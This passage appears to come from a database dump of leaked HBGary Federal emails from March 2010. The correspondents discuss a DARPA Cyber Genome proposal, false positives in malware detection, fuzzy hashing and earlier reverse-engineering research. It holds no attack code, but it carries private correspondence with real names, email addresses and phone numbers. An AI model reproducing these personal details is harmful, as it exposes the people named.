http://triad.is.northgrum.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5885,'aaron_hbgary_com/5885.html'),(3228,'2010-03-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001502.M180907P3547Q3228.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYour questions are out of my league.&nbsp; You need to go to\r\nGreg.\r\n\r\n&nbsp;\r\n\r\nI suspect (don&#8217;t know) that Greg&#8217;s use of the word &#8220;fuzzy\r\nhashing&#8221; and Kornblum&#8217;s are different.&nbsp; Also, Guidance\r\nSoftware now has commercial software for fuzzy hashing.&nbsp; The term fuzzy\r\nhashing has been kicked around for years.&nbsp; For the sake of appearing\r\ninnovative and far reaching, we should NOT use the term fuzzy hashing.&nbsp; We\r\nneed to invent a new term.&nbsp; Maybe Greg has already.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 01, 2010 8:59 AM\r\nTo: Bob Slapnik\r\nSubject: Re: DARPA\'s Cyber-Genome Program - Technical Area 1 - General\r\nDynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYep makes sense. &nbsp;Thats a tough one. &nbsp;Fuzzy\r\nhashing as one methodology to help sounds interesting. &nbsp;Changes in\r\nprofiles would be another. &nbsp;If when executed you developed a software\r\nprofile for execution, communication, etc. &nbsp;Changes to that profile maybe\r\ncould also increase the heat value?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCheck out Jesse Kornblum tool:&nbsp;http://windowsir.blogspot.com/2006/07/genius-kornblum-on-fuzzy-hashing.html\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 1, 2010, at 8:43 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis is a bigger conversation with Greg, Phil and Rich, but here\r\nis my take on it.&nbsp; The short and current answer is\r\n&#8220;yes&#8221;.&nbsp; DDNA flags binaries as malware that look and act like\r\nmalware.&nbsp; It turns out that some good software acts like malware so it\r\nscores high.&nbsp; Examples are host security products.&nbsp; We view that as\r\nDDNA giving accurate results, but in practice our customers get no value from\r\nevery host in the enterprise reporting &#8220;red&#8221; (since every host has\r\nsecurity and possibly other software that act like malware).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHBGary is dealing with the false positive problem as we\r\nspeak.&nbsp; A first pass solution was to give customers an easy way to filter\r\ngood software from the reports, but this is just a bandaide short term\r\nanswer.&nbsp; The reason the report filtering approach is faulty is because\r\nfiltered software could actually have evil code injected into it.&nbsp; This is\r\nthe fault with disk based hashing.&nbsp; Saying it is good on disk does not\r\nensure secure in RAM during execution.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe HBGary development team is currently approaching the false\r\npositives problem from a more fundamental level.&nbsp; The objective is that\r\nall software will have its DDNA score reported.&nbsp; Software such as security\r\ntools will have its score &#8220;cooled off&#8221; so it doesn&#8217;t show up\r\nas malware, but it will reporting as a cooler color.&nbsp; This leaves open the\r\npossibility that if bad code gets injected it could get heated back up as red\r\nor orange.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThere is also development work around &#8220;fuzzy\r\nhashing&#8221; in RAM.&nbsp; My info is sketchy at best and might be flat out\r\nincorrect&#8230;&#8230; I &#8220;think&#8221; customers will be able to take\r\nfuzzy hashes (whatever that means) of gold images &#8211; these results are\r\nstored.&nbsp; Then during deployment DDNA scores (or maybe something else) are\r\ncompared to the gold images.&nbsp; If the variance is greater than some\r\npre-specified amount, then the binary is flagged.&nbsp; There is a lot more to\r\nthis than I know.&nbsp; And I&#8217;ll bet from a research perspective we are\r\njust scratching the surface today.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, March 01,\r\n2010 8:26 AM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;Re: DARPA\'s\r\nCyber-Genome Program - Technical Area 1 - General Dynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo we get a lot of false postiives with DDNA?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 1, 2010, at 8:11 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIs GD taking the lead in the proposal creation?&nbsp; Seems\r\nunusual for them to send out this doc when NG is the prime for #1.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Rodriguez, Harold\r\n[mailto:Harold.Rodriguez@gd-ais.com]&nbsp;\r\nSent:&nbsp;Monday, March 01,\r\n2010 7:47 AM\r\nTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.com\r\nCc:&nbsp;Upchurch, Jason R.;\r\nStarr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.\r\nSubject:&nbsp;RE: DARPA\'s\r\nCyber-Genome Program - Technical Area 1 - General Dynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood Morning,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHere\r\nis an updated document adding a column for metrics/measures of success.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest\r\nregards,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHarold Rodriguez\r\nLead Systems Engineer\r\nGeneral Dynamics - Advanced Information Systems\r\nDC3\\DCCI: (410)\r\n694-6409\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGDAIS:\r\n(240) 456-5600 x8028\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Rodriguez, Harold\r\nSent:&nbsp;Sun 2/28/2010 11:46\r\nPM\r\nTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.com\r\nCc:&nbsp;Upchurch, Jason R.;\r\nStarr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.\r\nSubject:&nbsp;DARPA\'s\r\nCyber-Genome Program - Technical Area 1 - General Dynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nRich, Bob, Greg,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nam currently supporting Jason Upchurch in Technical Area 1 for the DARPA Cyber\r\nGenome technical&nbsp;proposal.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFor\r\nthis technical area, could you please look at the attached document and provide\r\nsome of what you will consider are Win/Innovative/Revolutionary&nbsp;RESEARCH\r\nideas.&nbsp;It will be greatly appreciated if you could&nbsp;also provide one\r\n(1) or (2) technical papers in the area.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn\r\nthe attached document I tried to provide couple of examples, but feel free to\r\nadd the information you feel is appropriate.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest\r\nregards and thank you!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHarold\r\nRodriguez\r\nLead Systems Engineer\r\nGeneral Dynamics - Advanced Information Systems\r\nDC3\\DCCI: (410) 694-6409\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGDAIS:\r\n(240) 456-5600 x8028\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12544,'aaron_hbgary_com/12544.html'),(3229,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001502.M391673P3547Q3229.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS','is Kornblum still with Mantech?On Mar 1, 2010, at 9:04 AM, Bob Slapnik wrote:Your questions are out of my league.&nbsp; You need to go to Greg.&nbsp;I suspect (don’t know) that Greg’s use of the word “fuzzy hashing” and Kornblum’s are different.&nbsp; Also, Guidance Software now has commercial software for fuzzy hashing.&nbsp; The term fuzzy hashing has been kicked around for years.&nbsp; For the sake of appearing innovative and far reaching, we should NOT use the term fuzzy hashing.&nbsp; We need to invent a new term.&nbsp; Maybe Greg has already.&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, March 01, 2010 8:59 AMTo:&nbsp;Bob SlapnikSubject:&nbsp;Re: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS&nbsp;Yep makes sense. &nbsp;Thats a tough one. &nbsp;Fuzzy hashing as one methodology to help sounds interesting. &nbsp;Changes in profiles would be another. &nbsp;If when executed you developed a software profile for execution, communication, etc. &nbsp;Changes to that profile maybe could also increase the heat value?&nbsp;Check out Jesse Kornblum tool:&nbsp;http://windowsir.blogspot.com/2006/07/genius-kornblum-on-fuzzy-hashing.html&nbsp;&nbsp;On Mar 1, 2010, at 8:43 AM, Bob Slapnik wrote:Aaron,&nbsp;This is a bigger conversation with Greg, Phil and Rich, but here is my take on it.&nbsp; The short and current answer is “yes”.&nbsp; DDNA flags binaries as malware that look and act like malware.&nbsp; It turns out that some good software acts like malware so it scores high.&nbsp; Examples are host security products.&nbsp; We view that as DDNA giving accurate results, but in practice our customers get no value from every host in the enterprise reporting “red” (since every host has security and possibly other software that act like malware).&nbsp;HBGary is dealing with the false positive problem as we speak.&nbsp; A first pass solution was to give customers an easy way to filter good software from the reports, but this is just a bandaide short term answer.&nbsp; The reason the report filtering approach is faulty is because filtered software could actually have evil code injected into it.&nbsp; This is the fault with disk based hashing.&nbsp; Saying it is good on disk does not ensure secure in RAM during execution.&nbsp;The HBGary development team is currently approaching the false positives problem from a more fundamental level.&nbsp; The objective is that all software will have its DDNA score reported.&nbsp; Software such as security tools will have its score “cooled off” so it doesn’t show up as malware, but it will reporting as a cooler color.&nbsp; This leaves open the possibility that if bad code gets injected it could get heated back up as red or orange.&nbsp;There is also development work around “fuzzy hashing” in RAM.&nbsp; My info is sketchy at best and might be flat out incorrect…… I “think” customers will be able to take fuzzy hashes (whatever that means) of gold images – these results are stored.&nbsp; Then during deployment DDNA scores (or maybe something else) are compared to the gold images.&nbsp; If the variance is greater than some pre-specified amount, then the binary is flagged.&nbsp; There is a lot more to this than I know.&nbsp; And I’ll bet from a research perspective we are just scratching the surface today.&nbsp;Bob&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, March 01, 2010 8:26 AMTo:&nbsp;Bob SlapnikSubject:&nbsp;Re: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS&nbsp;Bob,&nbsp;Do we get a lot of false postiives with DDNA?&nbsp;&nbsp;On Mar 1, 2010, at 8:11 AM, Bob Slapnik wrote:Aaron,&nbsp;Is GD taking the lead in the proposal creation?&nbsp; Seems unusual for them to send out this doc when NG is the prime for #1.&nbsp;Bob&nbsp;&nbsp;From:&nbsp;Rodriguez, Harold [mailto:Harold.Rodriguez@gd-ais.com]&nbsp;Sent:&nbsp;Monday, March 01, 2010 7:47 AMTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.comCc:&nbsp;Upchurch, Jason R.; Starr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.Subject:&nbsp;RE: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS&nbsp;Good Morning,&nbsp;Here is an updated document adding a column for metrics/measures of success.&nbsp;Best regards,&nbsp;Harold RodriguezLead Systems EngineerGeneral Dynamics - Advanced Information SystemsDC3\\DCCI: (410) 694-6409GDAIS: (240) 456-5600 x8028&nbsp;From:&nbsp;Rodriguez, HaroldSent:&nbsp;Sun 2/28/2010 11:46 PMTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.comCc:&nbsp;Upchurch, Jason R.; Starr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.Subject:&nbsp;DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AISAaron, Rich, Bob, Greg,&nbsp;I am currently supporting Jason Upchurch in Technical Area 1 for the DARPA Cyber Genome technical&nbsp;proposal.&nbsp;For this technical area, could you please look at the attached document and provide some of what you will consider are Win/Innovative/Revolutionary&nbsp;RESEARCH ideas.&nbsp;It will be greatly appreciated if you could&nbsp;also provide one (1) or (2) technical papers in the area.&nbsp;In the attached document I tried to provide couple of examples, but feel free to add the information you feel is appropriate.&nbsp;Best regards and thank you!&nbsp;Harold RodriguezLead Systems EngineerGeneral Dynamics - Advanced Information SystemsDC3\\DCCI: (410) 694-6409GDAIS: (240) 456-5600 x8028&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10 14:34:00&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10 14:34:00&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10 14:34:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5073,'aaron_hbgary_com/5073.html'),(3230,'2010-03-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001502.M672595P3547Q3230.eml','\"Aaron Barr\" <aaron@hbgary.com>','Looking at Harold\'s doc','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThis email is for your consumption, not theirs until maybe\r\nyou sanitize it.&nbsp; Harold&#8217;s doc rehashes thinking HBGary did 4-5\r\nyears ago and I&#8217;ll bet DARPA would not have seen it as far reaching even\r\nback then.&nbsp; If this is GD&#8217;s opening to structure the conversation,\r\nthen to me they&#8217;ve proven they are not thought leaders in this arena&#8230;&#8230;\r\n\r\n&nbsp;\r\n\r\n&#8220;forcing execution of all branches&#8221; &#8211; Wow!&nbsp;\r\nHBGary had a Phase I and Phase II SBIR contract with AFRL (started in 2005) to\r\ndevelop exactly this along with other r/e goals.&nbsp; We called it Automated\r\nFlow Resolution.&nbsp; The idea was that the runtime r/e system automatically\r\nfigures out what data input must be to force execution of all code\r\nbranches.&nbsp; We were successful at developing an AFR prototype, but overall it\r\nFAILED.&nbsp; A developer (who no longer works for HBGary) was assigned to\r\nfigure out the underlying math problems.&nbsp; In truth he wasn&#8217;t\r\nsupervised well and produced squat.&nbsp; To this day Greg contends that if he\r\nhad worked the problem itself we would have a product today doing this.&nbsp;\r\nWe have many past docs on AFR.\r\n\r\n&nbsp;\r\n\r\nMore history&#8230;&#8230;. Inspector, a product that\r\npredates Responder, had a user mode debugger.&nbsp; (Debugging is required for\r\nAFR.)&nbsp; Greg killed the debugger saying that HBGary was not equipped or\r\nskilled enough to continually maintain a debugger.&nbsp; We now have REcon\r\nwhich is a runtime tracing system, not an interactive debugger.\r\n\r\n&nbsp;\r\n\r\n&#8220;Obfuscation techniques&#8221; &#8211; Our other AFRL\r\nPhase I and Phase II contracts had to do with identifying and overcoming\r\nobfuscation.&nbsp; Our proposal delineated dozens of obfuscation techniques,\r\nbut in reality the final deliverable was REcon.&nbsp; Its idea is that the vast\r\nmajority of obfuscation techniques are overcome simply by extracting the\r\nmalware from memory.&nbsp; I suspect there is more work that can be done for\r\nmore challenging forms of obfuscation.&nbsp; I view this as a &#8220;down in\r\nthe weeds&#8221; problem.&nbsp; While this is an important consideration, I\r\nthink DARPA wants bigger thinking.\r\n\r\n&nbsp;\r\n\r\nMalware decompilation, automated disassembly, call graphs,&#8230;&#8230;&#8230;.\r\nWe&#8217;ve already built this in our shipping product.&nbsp; This is not\r\ninnovative thinking.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9666,'aaron_hbgary_com/9666.html'),(3231,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001502.M891417P3547Q3231.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS','might be different but I am suspecting it is the same. &nbsp;Fuzzy hashing just refers to a more tolerant means of hashing than normal hashing, where a single change (like tripwire) would create a non match. &nbsp;Sometimes that is just too specific, you need to be able to isolate small changes and still make a correlation, this binary and this binary are not exact but are similar... &nbsp;Through fuzzy hashing you could not only match with slight modifications, you can also isolate where the modification occurred.I have been looking at 3 and doing a lot of research. &nbsp;Developing sci-fi technology here is a bit out of my league, definitely going to need help.On Mar 1, 2010, at 9:04 AM, Bob Slapnik wrote:Your questions are out of my league.&nbsp; You need to go to Greg.&nbsp;I suspect (don’t know) that Greg’s use of the word “fuzzy hashing” and Kornblum’s are different.&nbsp; Also, Guidance Software now has commercial software for fuzzy hashing.&nbsp; The term fuzzy hashing has been kicked around for years.&nbsp; For the sake of appearing innovative and far reaching, we should NOT use the term fuzzy hashing.&nbsp; We need to invent a new term.&nbsp; Maybe Greg has already.&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, March 01, 2010 8:59 AMTo:&nbsp;Bob SlapnikSubject:&nbsp;Re: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS&nbsp;Yep makes sense. &nbsp;Thats a tough one. &nbsp;Fuzzy hashing as one methodology to help sounds interesting. &nbsp;Changes in profiles would be another. &nbsp;If when executed you developed a software profile for execution, communication, etc. &nbsp;Changes to that profile maybe could also increase the heat value?&nbsp;Check out Jesse Kornblum tool:&nbsp;http://windowsir.blogspot.com/2006/07/genius-kornblum-on-fuzzy-hashing.html&nbsp;&nbsp;On Mar 1, 2010, at 8:43 AM, Bob Slapnik wrote:Aaron,&nbsp;This is a bigger conversation with Greg, Phil and Rich, but here is my take on it.&nbsp; The short and current answer is “yes”.&nbsp; DDNA flags binaries as malware that look and act like malware.&nbsp; It turns out that some good software acts like malware so it scores high.&nbsp; Examples are host security products.&nbsp; We view that as DDNA giving accurate results, but in practice our customers get no value from every host in the enterprise reporting “red” (since every host has security and possibly other software that act like malware).&nbsp;HBGary is dealing with the false positive problem as we speak.&nbsp; A first pass solution was to give customers an easy way to filter good software from the reports, but this is just a bandaide short term answer.&nbsp; The reason the report filtering approach is faulty is because filtered software could actually have evil code injected into it.&nbsp; This is the fault with disk based hashing.&nbsp; Saying it is good on disk does not ensure secure in RAM during execution.&nbsp;The HBGary development team is currently approaching the false positives problem from a more fundamental level.&nbsp; The objective is that all software will have its DDNA score reported.&nbsp; Software such as security tools will have its score “cooled off” so it doesn’t show up as malware, but it will reporting as a cooler color.&nbsp; This leaves open the possibility that if bad code gets injected it could get heated back up as red or orange.&nbsp;There is also development work around “fuzzy hashing” in RAM.&nbsp; My info is sketchy at best and might be flat out incorrect…… I “think” customers will be able to take fuzzy hashes (whatever that means) of gold images – these results are stored.&nbsp; Then during deployment DDNA scores (or maybe something else) are compared to the gold images.&nbsp; If the variance is greater than some pre-specified amount, then the binary is flagged.&nbsp; There is a lot more to this than I know.&nbsp; And I’ll bet from a research perspective we are just scratching the surface today.&nbsp;Bob&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, March 01, 2010 8:26 AMTo:&nbsp;Bob SlapnikSubject:&nbsp;Re: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS&nbsp;Bob,&nbsp;Do we get a lot of false postiives with DDNA?&nbsp;&nbsp;On Mar 1, 2010, at 8:11 AM, Bob Slapnik wrote:Aaron,&nbsp;Is GD taking the lead in the proposal creation?&nbsp; Seems unusual for them to send out this doc when NG is the prime for #1.&nbsp;Bob&nbsp;&nbsp;From:&nbsp;Rodriguez, Harold [mailto:Harold.Rodriguez@gd-ais.com]&nbsp;Sent:&nbsp;Monday, March 01, 2010 7:47 AMTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.comCc:&nbsp;Upchurch, Jason R.; Starr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.Subject:&nbsp;RE: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS&nbsp;Good Morning,&nbsp;Here is an updated document adding a column for metrics/measures of success.&nbsp;Best regards,&nbsp;Harold RodriguezLead Systems EngineerGeneral Dynamics - Advanced Information SystemsDC3\\DCCI: (410) 694-6409GDAIS: (240) 456-5600 x8028&nbsp;From:&nbsp;Rodriguez, HaroldSent:&nbsp;Sun 2/28/2010 11:46 PMTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.comCc:&nbsp;Upchurch, Jason R.; Starr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.Subject:&nbsp;DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AISAaron, Rich, Bob, Greg,&nbsp;I am currently supporting Jason Upchurch in Technical Area 1 for the DARPA Cyber Genome technical&nbsp;proposal.&nbsp;For this technical area, could you please look at the attached document and provide some of what you will consider are Win/Innovative/Revolutionary&nbsp;RESEARCH ideas.&nbsp;It will be greatly appreciated if you could&nbsp;also provide one (1) or (2) technical papers in the area.&nbsp;In the attached document I tried to provide couple of examples, but feel free to add the information you feel is appropriate.&nbsp;Best regards and thank you!&nbsp;Harold RodriguezLead Systems EngineerGeneral Dynamics - Advanced Information SystemsDC3\\DCCI: (410) 694-6409GDAIS: (240) 456-5600 x8028&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10 14:34:00&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10 14:34:00&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10 14:34:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12419,'aaron_hbgary_com/12419.html'),(3232,'2010-03-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001503.M390891P3547Q3233.eml','\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,aaron@hbgary.com,rich@hbgary.com,greg@hbgary.com,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,aaron@hbgary.com,rich@hbgary.com,greg@hbgary.com,','RE: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - 